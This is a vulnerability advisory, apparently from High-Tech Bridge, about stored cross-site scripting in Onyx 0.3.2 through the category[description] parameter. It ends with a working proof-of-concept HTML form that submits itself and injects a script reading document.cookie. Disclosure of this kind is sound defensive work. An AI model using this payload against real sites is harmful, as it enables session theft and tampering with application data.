XSS vulnerability in Onyx


Vulnerability ID: HTB22537 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx_1.html Product: Onyx Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx ) Vulnerable Version: 0.3.2 and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the admin/categories/update script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/categories/update/1" method="post" name="main" > <input type="hidden" name="category[name]" value="General" /> <input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' /> <input type="hidden" name="category[created_at(1i)]" value="2010" /> <input type="hidden" name="category[created_at(2i)]" value="7" /> <input type="hidden" name="category[created_at(3i)]" value="23" /> <input type="hidden" name="category[created_at(4i)]" value="04" /> <input type="hidden" name="category[created_at(5i)]" value="00" /> <input type="hidden" name="commit" value="Edit" /> </form> <script> document.main.submit(); </script>